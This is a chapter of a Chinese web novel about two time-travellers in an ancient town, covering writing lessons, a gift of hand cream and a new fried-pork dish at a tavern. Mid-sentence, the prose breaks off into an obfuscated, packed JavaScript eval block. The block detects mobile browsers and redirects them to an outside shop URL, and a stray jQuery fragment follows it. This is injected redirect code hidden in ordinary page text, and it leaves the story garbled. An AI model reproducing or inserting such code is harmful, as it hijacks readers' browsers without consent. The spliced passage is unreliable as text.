“瑶娘可识得多少字?”
沈秋瑜抽出书堆下压着的宣纸,拿出镇石压住,再拉过周瑶理绕过桌侧。
周瑶理没好意思讲,她们现代人都是写的简体字,古代的繁体着实写不了几个字。
不过读倒是会的,多少懂一些。
见她皱着眉头满脸苦大仇深的样子,沈秋瑜干脆随口挑几个字让她写,结果周瑶理只是一味地摇头再摇头。
“识得字却不会写?”沈秋瑜第一次知道还有这种类型,书册里的字她都识得,盖上书随便挑几个字让她写却无从下手。
好在周瑶理知道自己的名字怎么写,接过笔在纸上洋洋洒洒写下三个大字。
“原来是这个理。”沈秋瑜诧异,这还是她第一次知道周瑶理是哪三个字,先前总以为是知书识礼的礼。
说起名字这事儿,周瑶理能吐槽她爸妈三天三夜不带停。她亲爱的老父老母当年想着学理有出路,上户口时直接起了这名儿。
周瑶理,周要理!
“瑶娘可有想学的?”沈秋瑜见她也不算全然不识字的样子,一些简单的倒也会写。
周瑶理撑着脑袋想了半天,脱口而出一大堆菜名和调料名称。于她而言现在最紧要的便是懂得那些菜名怎么写,等她记住这些再慢慢学其他的也不迟。
赖在沈宅小半天,等出门时她怀中抱着一份笔墨砚,身后还背了个宣纸桶。
临出门前沈秋瑜硬塞给她的。
许是第一回留下的印象太深,沈二娘子生怕她为了存钱又不舍得买墨宝,干脆送她一份。
“这份课业收好了,每五日我检查一次。”
周瑶理郑重点头,她保证日夜勤奋,必定练出一手好字!
“周娘子慢走。”沈家车夫将她送回青乌巷,等她站稳后才福礼离去。
周瑶理目送马车走远,搂紧怀中的东西转身准备回去,就听见有人喊自己,一抬头便看见文竹站在不远处的摊子那儿朝她挥手,身旁还坐着林嘉行。
文竹瞧她走过来,从边上拉来木凳,随后离开位置去找摊主给她要碗甜汤,周瑶理放下手中的东西坐下。
“你们怎么在这?”她记得来之前有发信息说过自己今天要出门,让他别来以免跑空。
难道是来得太着急,信息没来得及发出去?
“也没等太久,刚坐下你就回来了。”林嘉行扒拉着甜汤,随口说道。
其实到这有一段时间,他想着太晚去人姑娘家里总归不礼貌,便早些出门在外等她。
只是没想到周瑶理和沈家二小姐竟这么谈得来,愣是等了半个时辰才见到她从沈家马车下来。
说罢,林嘉行拿出个小匣子推到她面前。
“这又是啥?”周瑶理拿起木匣抱入怀中,四处张望生怕有人抢了去。
林嘉行被她遮掩的动作逗笑,“这次不是金子。”
周瑶理闻言尴尬呵笑两声,她刚刚表现得有那么明显吗。
好失望,今天财神爷没眷顾她。
匣子里头躺着个玉雕粉盒,打开一看是膏状物,还飘出淡淡的花香。
“郎君昨儿特地去珍宝阁买的手脂膏。”文竹这会儿端着碗甜汤回来,在周瑶理面前稳当放下后,坐在一旁抢先答道。
林嘉行本想说只是路过看看,结果就被文竹透了老底。
“别听他瞎说,就是突然想起你可能需要这个。”
林嘉行自打来到这后每天都无所事事,古代的书册全是繁体字,看得他偏头痛。
又不能天天去云禾酒馆找周瑶理,不仅影响她名声还打搅她升级打怪。他俩能不能真正从这里离开,全看周瑶理何时当上天下第一厨。
林嘉行对自己的定位很明确,他得做好贤内助,周大厨指哪儿他打哪儿,绝不给她添乱子!
思来想去只好在家看风景,时不时叹口气。
林业哪知其中的弯弯绕绕,只晓得自己这位侄儿近段时日满脸愁容,整日对着池中鱼唉声叹气。
这可不妙,他还等着这位贤侄回言安后替他在老夫人面前多美言几句,别将昌南林家给忘了,能帮他寻到一半官职更是不错。
当即寻由头在家中办宴,所有当下时兴的玩意儿全都搜罗来,只要贤侄莫要一副这辈子都不想说话的样子就好。
林嘉行虽说将人设本从头到尾都翻了个遍,背得是滚瓜烂熟,但真让他融入进去还有些放不开手脚。
全程只安静坐在那儿听弟弟妹妹们吐槽书院夫子,胭脂铺子又上新哪些东西。
“四妹妹刚刚说的手脂是何物?”林嘉行指着林四娘子手中的粉盒问道。
林四娘子本还在和自家姐姐分享前两日在珍宝阁买的手脂,就发现那位哑疾突好的堂兄不问哥哥们的课业,反而对自己手中的粉盒感兴趣。
林嘉行接过对方递来的盒子仔细端详,原来是护手霜。
他人见此也感到新奇,“没想到林郎君竟对姑娘家的胭脂水粉也有研究。”
“难不成你平日就任由自己的手生冻疮?”林嘉行斜眼看去,稍低下眼掠过对方垂在身侧的双手。
“瞧你那双手糙的,”他合上粉盒盖子递给林四娘子,叉手立于堂中,“日后若是娶妻,你家娘子估计都不愿与你牵手。”
众人随他的话瞧去,先前说话那男子双手确实粗糙不堪。
对方顿感面上无光,涨红脸反驳,“男儿自是要习武功标青史,怎可拘泥与这类小事。”
“你既无军功又无学绩,就连容貌也比不过他人,小娘子凭何择你为夫婿。”说完袖子一甩,转身离去。
林嘉行一整天都被困在府中,本就烦闷得很,这位不知打哪儿来的公子哥坐在这半天嘴就没停过。
除了高谈论阔也没别的可说。
第二天一早他便上珍宝阁,打算给周瑶理也买一瓶手脂。
“上回看见你手上长了倒刺,我便寻思给你送点什么好。”林嘉行解释道。
她们做厨子,每天不是双手泡水就是和刀打交道,手部受伤开裂都是难免的,林嘉行还记得上回就看见她手上多了几个刀口子。
好在这会儿不是冬天,不然再多上几块冻疮,夜里估计都睡不好。
“谢谢你。”周瑶理合上匣子郑重向他道谢。
她其实挺高兴的。虽然更喜欢金子,但心意贵重,胜在用心。
见她这么认真道谢,林嘉行不由得拘谨起来。
说到底他并不敞亮。
在珍宝阁时文竹曾问过他,为何对周娘子如此上心。林嘉行自个儿也说不明白,只希望周瑶理进步得更快些,好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892574|192238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让他俩快些回去。
她只需卯足劲往前冲,其余的杂事儿都交给他解决。
毕竟在这里,他二人称得上只有彼此。
周瑶理这几天忙到脚不沾地,白天抡起锅铲在后厨忙活,晚上下班回到家又得练字。
不止于此,还得留出空子写计划书。
自从上回莫名其妙被人污蔑替人背锅那时起,她便幡然醒悟。
不能再苟下去了,她要变强!
即使她说破口舌向人介绍自己是厨子,总有人只当她是后厨打杂的。就连一些莫须有的罪名都能往她身上推,不止这次,往后还会有更多的脏水等着自己,只因她师出无名。
更因她是个女人,一个本该待在后院却在外跟他们抢饭碗的女人。
要想冲破这层枷锁,她得将自己的名声打出去,最起码得在云禾站稳脚跟。
周瑶理捣鼓好几日做了份周密的计划书,打算天亮就去酒馆找东家商议,为此她专门用繁体字写,就怕东家看不懂。
“掌柜的你等等!”周瑶理瞧见东家立马将他喊住,堵在后厨。
王东家刚想离开,就看见她端个碗气势汹汹从外头跑进来,将他围堵在后厨内。
其实掌柜的有些怵她,一想到把周瑶理捡回馆子那日她磨刀霍霍向众人便心有余悸,前几日更是把黄蛮痛斥一顿。
虽说错不在她,但这姑娘劲儿太大了。
周瑶理当时怒在心头,直接将站在中间的王掌柜一把推开,直冲黄蛮的方向走去。
东家当时被她推得一踉跄,刚站稳就见黄蛮子被骂得狗血淋头。
从此再见到周瑶理,东家都尽量躲着她走。
他是心里苦啊,明明刚捡到时小姑娘看着柔柔弱弱的,怎的是个混世娘子。
“研发新菜?那…你且试试吧。”
周瑶理满肚子游说的话术刚到嘴边,生生顿住。
就这么简单?亏她以为多费事儿,还专门准备了满满两页纸的白皮书。
实则老王瞄到她身后横放一把菜刀,唯恐自己说一个不字,周瑶理就抄起身后的菜刀朝他迎面劈来。
话不多说,她立马抱着碗跑到灶台前,起锅烧油。
怕东家以食材不够为由,周瑶理昨日横下心去集市买了一小块梅花肉提前腌制好,绝不给掌柜的一丁点儿拒绝的理由。
趁油热的功夫翻出酒馆的薯粉调出粉浆,滚肉裹浆再下入油锅。不出片刻,一小碗金黄脆响的酥肉出锅。
“黄金肉酥!请享用。”
周瑶理从筷筒抽出筷子分给大家,满脸期待望向眼前的各位。
厨子不动筷,新来的杂工也不敢抢先下手,只好眼巴巴地看着。
刘大厨最信得过她,率先夹起一块送入口中,随即被烫得呲牙咧嘴。
“好奇特的做法,大家快试试。”刘师傅嘴里烫得直哈气,但也不住点头。
其他人见了纷纷动筷,随后发出和刘师傅一样的动响。
李莽若有所思看着一旁笑得眯不见眼的周瑶理。
周瑶理察觉有道炙热的眼光盯着自己,转过头一看是李莽,便询问配方是否有不妥的地方。
“火候掌握得刚好,你很聪明。”
得到肯定的周瑶理自信叉腰,感恩电子菜谱。